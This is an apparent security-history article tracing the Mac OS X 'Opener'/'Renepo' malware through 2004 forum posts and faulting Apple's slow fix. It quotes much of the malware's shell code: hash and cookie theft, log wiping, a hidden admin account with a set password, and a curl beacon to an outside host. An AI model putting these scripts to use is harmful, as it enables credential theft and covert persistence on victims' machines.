About | ACP | Buy | Industry Watch | Learning Curve | News | Products | Search | Substack
Home » Industry Watch

The Story of Renepo

We at Apple take security very seriously.
 - Mantra of Apple Computer
Unless Apple faces up to the security issues its users face, its reputation for making secure operating systems will be further tarnished.
 - John Leyden May 2004


To begin with, there isn't anything called 'renepo'. That's a typical invention of talking heads in the media who always jump onto something when it's already too late. 'Renepo' is actually 'Opener' and its story starts in March 2004 - two years ago.

The part of 'Renepo' called 'BootRooter' by this website was acknowledged to have been fixed by Apple in their progression to OS X Tiger 10.4 at the end of April 2005. Although prompted to come forward with evidence of security fixes for previous versions of OS X in the near year and a half wait for Tiger, Apple have not responded.

This is the story of Opener.

March 2004

DimBulb joined the Macintosh Underground forum on 3 March 2004 and on 13 March 2004 started the 'Startup scripts' topic.

This is an OS X startup item with a shell script to replace the current hostconfig file with a different copy (which has sharing turned on among other things). It also copies a few files and the netinfo directory into the Public folder of every user folder. On the first reboot SMB sharing will be turned on and the information copied to the .info folder will contain the Mac password hashes and the SMB hashes which are easier to crack.

After creating a directory called 'opener', three files were copied into it: opener, StartupParameters.plist, and hostconfig. The first of these is the most instructive. The following is from DimBulb's original post.

#! /bin/sh
chmod 777 /etc/hostconfig
chflags nouchg /etc/hostconfig
mv /etc/hostconfig /etc/hostconfigold.old
cp /Library/StartupItems/opener/hostconfig /etc/hostconfig
cp -R /Library/ApplePasswordServer /.info/Library/ApplePasswordServer
cp /Library/WebServer/users /.info/Library/WebServer/users
cp /System/Library/CoreServices/SystemVersion.plist
cp -R /private/var/db /.info/private/var/db
cd /.info
nidump passwd . > .nidump.txt
nidump passwd / > .nidump2.txt
chmod -R 777 /.info
cd /Users
find . -maxdepth 2 -name "Public" -type d -exec sudo cp -R /.info '{}/.info' \;
rm -Rf /private/var/log/
rm -Rf /Library/Logs/

After backing up and then corrupting hostconfig, the script copies sensitive system files to a number of 'dotted' (normally hidden) locations, and finally wipes its tracks by removing log files.

The key to this operation is that code to be run as root in single user mode could be placed in the path of the system starter without authorisation or privilege escalation. On reboot the code ran with full access to the entire system.

On 21 March DimBulb added a snippet to create a new hidden user. The account was given the facile password '1234'.

niutil -create / /users/hacker
niutil -createprop / /users/hacker uid 401
niutil -createprop / /users/hacker realname "Hacker"
niutil -createprop / /users/hacker home "/private/var/home"
niutil -createprop / /users/hacker shell "/bin/bash"
niutil -createprop / /users/hacker gid 20
niutil -createprop / /users/hacker sharedDir /
niutil -createprop / /users/hacker passwd "rQ3p5/hpOpvGE" #(it's 1234)
nicl . -append /groups/admin users hacker
cp -R /System/Library/User\ Template/English.lproj /private/var/hacker
chown -R hacker:staff /private/var/home

On 24 March DimBulb succeeded in getting opener to run on Panther. He eventually discovered that ApplePasswordServer was only found on OS X Server.

chmod 777 /etc/hostconfig
chflags nouchg /etc/hostconfig
mv /etc/hostconfig /etc/hostconfigold.old
cp /Library/StartupItems/opener/hostconfig /etc/hostconfig
mkdir /.info
cp -R /Library/ApplePasswordServer /.info/ApplePasswordServer
cp /Library/WebServer/users /.info/users
cp /System/Library/CoreServices/SystemVersion.plist /.info/SystemVersion.plist
cp -R /private/var/db /.info/db
cd /.info
nidump passwd . > .nidump.txt
nidump passwd / > .nidump2.txt
chmod -R 777 /.info
cd /Users
find . -maxdepth 2 -name "Public" -type d -exec sudo cp -R /.info '{}/.info' \;

On 25 March hard-mac suggests adding further files to the copy operations.


DimBulb replies the same day, suggesting where they store these new files. ktheman asks a question with echo effect.

can't you set it up to use sendmail to send an e-mail to you?

By 26 March hard-mac and DimBulb have worked out the kinks in the transition to Panther and started testing the integration with Timbuktu.

On 28 March DimBulb added comments to the opener script. He mentions that the opener package could also be placed in /System/Library/StartupItems - an alternative that requires privilege escalation.

iTunes 5

By 5 April opener is truly evolving. John the Ripper is added; logs are deleted by cron; opener is turning into a considerable data mining operation. On the same day ktheman posts the following.

hehehe i made a trojan horse thanks to these startup scripts! thanks guys! it's an applescript program that looks like itunes(because itunes is blocked at my school, and everybody wants to use it, but they can't), but says "iTunes has a major programming fault.". and gets the nidump files and dumps them all into invisible files in a guest account on the main school server.

Then the day after, with no one yet responding, adds the following.

where can i post it? i have a spymac server, do you think i should put it there?

DimBulb replies.

You could post the text of the AppleScript and/or any shell scripts it calls (via the "do shell script" command in AS) in this forum... (and you can even use an img tag for the iTunes icon if you wanted...)

ktheman again.

it's fully disguised. itunes 4 icon and all. one of my friends that i was testing it on noticed the app name in the dock and on the menubar was called "FakeItunes", which was the projectbuilder name. i fixed that. as soon i'm done fixing up the fake itunes for all of the people outside my school, i'll post it on my spymac server and will give you a link.

Meanwhile, DimBulb is improving the performance of John the Ripper and finding a better way to wipe the logs.

On 7 April ktheman posts his fake iTunes.


DimBulb responds.

Great job ktheman!!! Thanks for sharing it!!!

On 8 April ktheman starts his own thread.


Someone called Phreak.net, already visible in the original forum, continues to buzz around with his n00b questions.

xcode? u have to pay 4 that. crap. that and i have a g4 10.2.8.

More n00bs enter. First apeman.

So, lemme get this right. It looks like iTunes but it lets you run what ever shell commands from it you load into the script, yeah?

So you'd have to tell a mark it's iTunes beta perhaps?

You should maybe put together another image of scripts people have developed to plug in. And perhaps for a n00b like me, some instructions to get you started.

Then Phreak.net.

If this is your first time here, please read this.

On 11 April DimBulb comes out with yet another version of opener that now infects other mounted volumes and disables Little Snitch. He also gets into hiding things in a file called '.DS_Store '. (Note the trailing space.) And he starts using ditto to copy resource forks and HFS metadata. (Prior to Tiger and save having the ADC tools this was the only way to copy resource forks.) The script also removes all bash history files and expands the word list for John the Ripper; hard-mac adds a list of further files to data mine.

cp ~/Library/Application\ Support/Chimera/Profiles/default/*.slt/cookies.txt
cp ~/Library/Preferences/iCab\ Preferences/iCab\ Cookies
cp ~/Library/Mozilla/Profiles/default/*.slt/cookies.txt
cp ~/Library/Phoenix/Profiles/default/*.slt/Cache/cookies.txt
cp ~/Library/Application\ Support/OmniWeb/Cookies.xml
cp ~/Library/Application\ Support/OmniWeb\ 5/Cookies.xml
cp ~/Library/Preferences/Opera*Preferences/cookies*.dat
cp ~/Library/Cookies/Cookies.plist

By 12 April hard-mac's suggestions are incorporated into the new version. ktheman (who created the iTunes 5 trojan) talks about creating a MacOS 9 boot CD with the script - obviously missing the punch line. gapple comes in the day after to say the new version 'rocks'.

On 14 April DimBulb posts a new version after finding a few minor syntax errors. hostconfig is now edited directly as single user mode root is assumed. On 17 April DimBulb posts yet another version and announces two features still to be written: replacing deleted log files with empty files and having the script publish the IP of the machine when it changes so it can be located again. ktheman is pleased.

hehehe... this script is awesome!

On 20 April hard-mac adds further files to data mine and DimBulb puts more items on the 'to do' list.

3.) gzip the .info directory (so that it is available as a gzip and an unstuffed folder, both hidden in ~/Public)
4.) Maybe something along the lines of the following and perhaps grep-ing for more terms such as pass, login, logon, account etc.
find /Users -type f -exec grep -H -s -B 1 -A 2 -i "password" '{}' \;

And at this point he's also grabbing samba and SHA-1 hashes and including an option to hide the bash history created by other users for further data mining.

On 22 April bad.apple contributes with a snippet that adds use of dsniff. The snippet downloads the dsniff package off the Internet and installs it. Opener is now at version 2.1.

On 31 May the two newcomers Tobiko and forceflow501 fell the all time classic posts.

i know this is a stupid question but to make the start up scripts do i copy them into appleworks or word or textedit and when saving them make them text files?

can someone just get them all ready and post them in a .dmg or .zip online?

After a while brick_in_the_wall offers a modicum of help.

save as a text file, then make it a startup item

forceflow501 is back, seemingly in chock.

all three of them?

Interest in the thread is growing with several more newcomers entering and asking for hand-holding.

A Key Question

On 18 July zo finally asks a key question.

i apologize for not reading all of this, but...

to place a startup-item and to change /etc/hostconfig, you need to have an admin-account.

how do you want to place this scripts in the correct locations? either you are already admin - why would you want to do this? or you have to trick someone to start up some 'app' that will install the scripts. but then, there are much better tools around to install than a simple startup-script and a change to hostconfig.

so what is this all about?

brick_in_the_wall has an answer.

the person installing it has to be admin. if you're not the one instaling it, like if you trick the other person into installing it, then you don't have to be admin.

zo's not satisfied.

i can see this, of course.

but that's what i meant: if i have to trick someone to run a tool, i write a tool that does just what it's thought to do.

for example, changing the /ect/hostconfig... all changes show up in the GUI.

enabling some servers on a machine you don't know how it's connected to the net? most of the clients today will sit behind a NAT-router or firewall.

perhaps the machine isn't always online because it uses a phone-connection?

adding additional users to the system without thinking about the userID? the idea of using a .-directory is not that bad, but on a OSX-server, the additional user will be shown in the workgroup-manager, of course.

btw, perhaps you shouldn't call this account 'hacker' - why not 'LDAP-daemon' or something like this?

i don't want to be rude. i just want to make clear that such scripts may work on your sister's computer, but i wouldn't try those on 'real' accounts...

JawnDoh responds and paints a pretty picture.

It works for me in a few cases...

One - I find an IP, attempt to connect on 548, guest is on, I get the list of usernames, I crack at least one accounts password. I'm in the box... If the account is admin and ssh is not on I may still not have access to the whole drive (/var/db/hashes for instance), I install the script and things that I could not get before are now available (such as the hashes which get copied to the public folders.)

Two - I find an IP, attempt to connect on 548, guest is on, I get the list of usernames, I crack at least one accounts password. I'm in the box... the account I have cracked is not an admin account and thus I do not have file sharing access to the whole hard drive. I check to see if port 22 is open, it is... I ssh to the box and can now access the whole drive via ssh. I check to see if /Library/StartupItems is writable - if it is, I install the script. If not, I look at the items that are already in /Library/StartupItems to see if any of those subdirectories are writable and I may find that NUMVersionCheck is writable. I rename the opener script to NUMVersionCheck and install the script in that directory (thus taking over the NUMVersionCheck startup item.) To do this via ssh I just rm the original file and then pico, copy and paste the script and ctrl-x out of pico saving the file with the appropriate name, then chmod 777 the script. (Which may be the reason some people are having trouble getting the script to run, save as text, convert line endings to unix, chmod 777 the whole opener folder.)

Three - I have physical access to a box but no account. I boot from a CD or external drive, set ignore priviliges on this volume, install the script in startup items, reboot the box... done.

I've had a lot of success under these circumstances although I wish the script would email out the ip of the computer (I realize this is a security risk) and it would be nice if the jtr and krec parts worked...

If anybody has working routines for those or other things... please post them. Is the author of the script still around on this board?

zo adds.

i wouldn't use a mailer to send infos, but you could, for example, use a IRC-bot to let you know whenever the box reboots.

More lights go on for JawnDoh.

Ok... I think I understand. So if I do have access via 548 but port 22 is closed AND I can write to /Library/StartupItems (or overwrite any existing StartupItem) then this script can be installed and when that computer restarts port 22 is on - and from there I can do everything via ssh.

If I have physical access to a Mac and install this script, when the Mac is restarted I then have remote access without having to boot the computer in another OS and manually 'adjust' the settings in the (non-running) OS X.

How to make Remote Access connect on startup but NOT show that it is on in the SystemPreferences pane... (by fenrack)


On 29 July JawnDoh realises DimBulb's hash cracks were incorrect and fixes them. On 2 August JawnDoh comes with a complete revamp of opener called version 2.3.3b and credited to 'DimBulb, hard-mac, Jawn-Doh!, Dr_Springfield, and g@pple' with additional ideas and advice from 'Zo and BSDOSX'.

# To install this script you need admin access or
# physical access (boot from a CD or firewire/usb, ignore permissions on the internal drive) or
# write access to either /Library/StartupItems /System/Library/StartupItems or
# write access to any existing StartupItem (which you can then replace with this script) or
# write access to the rc, crontab, or periodic files (and have them run or install the script) or
# you could trick someone who has an admin account into installing it.

# It should go in /System/Library/StartupItems or /Library/StartupItems (when it is executed it
# will move itself to /System/Library/StartupItems)

# Since it is a StartupItem it will run as root - thus no "sudo" commands are needed. If you run
# it as any other user most of the commands will generate errors! (You could sudo ./opener)

The configuration of Little Snitch is modified so it won't detect opener on startup and a keystroke recorder is installed in /Library/Preferences [sic]. The script also grabs both private and public IP addresses, using http://showmyip.com/ to do the latter. It also fudges LimeWire settings.

The script is now 656 lines long.

By 4 August JawnDoh has a fleet of further changes and bumps the version through 2.3.3b, 2.3.3c, 2.3.3d, and 2.3.4 to 2.3.5. He's also figuring out a way to make his 'beacon' work: to find the new IP of the compromised computer.

curl www.antiorario.net/stelledimari/index.php > /dev/null

And visiting the log to find the new IP.

curl www.antiorario.it/stats/visitors.php

By 16 August JawnDoh, who has taken over the development of opener, posts version 2.3.6. On 20 August gapple adds defaults commands for AppleFileServer - and the same day asks for Tiger beta testers, saying he's heard opener won't run on Tiger. His suspicion is that Tiger is doing like OS X Server, namely not acknowledging /Library/StartupItems on boot. (This is not the case.) As he points out, getting into /System/Library/StartupItems is not the piece of cake the other was.

Opener 2.3.8 and Beyond

On 27 August JawnDoh releases version 2.3.8. The final post from this period, again by JawnDoh, is on 10 September when he notices - and corrects - syntax errors in gapple's AppleFileServer code.

At this point nothing further happens until the story of the existence of opener breaks on 23 October 2004. [dr.greenthumb] posts the link at 2:43 AM local time.


By 6:40 AM the same day forceflow501 notices opener's made it to Slashdot.

Now the n00bs flood the forum.

On 24 October mariac posts the following.

What is wrong with you boys? Why do you have to write viruses? Why not go outside and play and enjoy your youth instead of trying to cause trouble for everyone? I don't agree with spanking but in your cases I would make an exception.

mugget makes the following comment later the same day.

great stuff you've done, but kind of a shame that 10.4 will break it? well, i'll be following this thread from now on...

But by now JawnDoh, DimBulb, and all the rest are long gone. The final one third of the forum thread is nothing but inane comments from, as one of them called it, 'the clueless masses'.

On 28 October Andy Batt posted at MacInTouch.

Opener is out in the wild in some fashion, because I found it today on 2 of my Macs. My Macs are behind locked doors, and not accessible physically by any malicious persons. I have an Actiontec DSL device between the outside and inside, running the 'normal' level of firewall.

I found "john" running on my G5 tower (10.3.5, fully updated as of 2 days ago) today. Further investigation found Opener (in the startup items folder) and ".info" folders in both users/Public folders on this machine. In the User/Library/Preferences folder I found the "jtr" folder which contained "john".

I checked the other 3 machines on my network - the two G4 towers running 10.3.4 did not have any signs. My G4 AL book (10.3.5, updated) was infected. On the laptop, the "run" folder within the "jtr" folder was not present.

Both infected machines had an account called ".hacker" that was visible via the netinfo manager ( I also deleted this account via Netinfomanager)

I called a friend who had been in yesterday afternoon, and had accessed my LAN to get to his webmail - his iBook was infected. All his iBook did was gain Internet access - as far as legit networking goes. We did not do any purposeful filesharing. My laptop and G5 were linked a few times via filesharing yesterday. I don't know who infected who on this one.

The copy of "opener" on my G5 has a created date of Oct 26 at 2:22pm, and a mod time of 3:21pm

The copy of "opener" on my laptop has a created date of Sept 25th, and a modified date of Oct. 12th.

I don't know if any of those dates are legit - on my friends laptop one of the files had a date of February 04.

I burned all the files (invisible files made visible via Cocktail) to a CD to have a record and then used TrashIt to delete all the relevant files.

So questions:
How did 2 of my Macs get infected?
Why did 2 of my Macs not get infected?
How do I know if any of this information was actually harvested?
Any practical advice on how to keep this from happening again? [I'm a decent Mac geek, but am not a UNIX geek]

McAfee issued an alert and called opener a 'worm'.


Other opener links.


And finally the remaining 14,000 from Google.


The Apple website has 95 references to Renepo, but they're all in the discussion forums. Apple themselves published no statement on Renepo at apple.com.


Apple were always in denial. The following article sums things up most adequately. There is little corroboration of detail - they even get the name wrong - and Apple are true to themselves, acting through a PR go-between, refusing to further comment, and only offering the empty advice to 'only install software from vendors and websites that [users] know and trust'.

Apple denies Opener is a worm, Trojan, or virus of any kind
November 02, 2004

Discovered a week ago, the Opener program - originally called Renepo - has the ability to disable the firewall in Mac OS X and steal user information. Security experts declared last week that it is almost unheard of for malware to target Apple computers, but said that this could be the start of a spate of attacks to come.

In an emailed statement from a PR company that represents Apple, a spokeswoman said:

"Apple has just released the following statement and will not comment beyond this: 'Opener is not a virus, Trojan horse, or worm. It does not propagate itself across a network, through email, or over the web. Opener can only be installed by someone who already has access to your system and provides proper administrator authentication. Apple advises users to only install software from vendors and websites that they know and trust.'"

But antivirus experts beg to differ, saying that while the program is not an immediate threat, it is a worm because it attempts to copy itself, and is therefore a virus as well.

Antivirus company Sophos said: "Renepo is a worm, and since a worm is just a special type of virus - one which neither requires nor uses an existing host file as a carrier - it is a virus."

'I know there has been a lot of debate about this', said Graham Cluley, senior technology consultant for Sophos. 'We class it as a worm. It's not going to spread very fast, but it does try to copy itself from Apple Mac drive to Apple Mac drive, and that still makes it a worm. If you saw something similar in the PC world, you would call it a worm.'

Symantec declared that Mac owners were protected if they had kept their antivirus software up to date.

Apple are aware of the 'BootRooter hole' already in the spring of 2003 - if not before - and yet no response is forthcoming, no fix made available - not even for OS X 10.3 Panther in October of that year and not for any of the remaining fall 2003 upgrades to OS X 10.2 Jaguar either.

As discovered by the above forum, Apple's plan is to provide a fix first with OS X 10.4 Tiger to be released 29 April 2005.

But that's still nearly eighteen months - a year and a half - in the future, and OS X users have a long wait - through coming updates 10.3.6, 10.3.7, 10.3.8, and 10.3.9 - for the fix, all the while Apple have not even released a statement warning users about the danger. Ducks swimming in a valium laced pool of grape FlavorAid were safer. As with the help viewer fiasco before it, it made it difficult to believe the Apple mantra, heard over and over again, that they 'take security very seriously'.

And although security updates through the summer of 2004 also included 10.2.8 Jaguar, Apple changed tack with Renepo and did not fix earlier versions at all.

Two years: that's how long Apple were aware of this hole before finally offering a fix for it - and the fix, for this uniquely critical hole, was never propagated to prior versions of the operating system.

Says John Leyden of The Register:

Unless Apple faces up to the security issues its users face, its reputation for making secure operating systems, already damaged by its mishandling of these recently discovered vulnerabilities, will be further tarnished.

Note: this article repeatedly refers to 'DimBulb' as a 'he' when in fact it should be 'she', a fastidious network administrator from the 'bay area'. 'DimBulb' used several successive identities throughout the history of Renepo. Her sole objective for all those years was to get Apple to fix their shit. She finally succeeded.

About | ACP | Buy | Industry Watch | Learning Curve | News | Products | Search | Substack
Copyright © Rixstep. All rights reserved.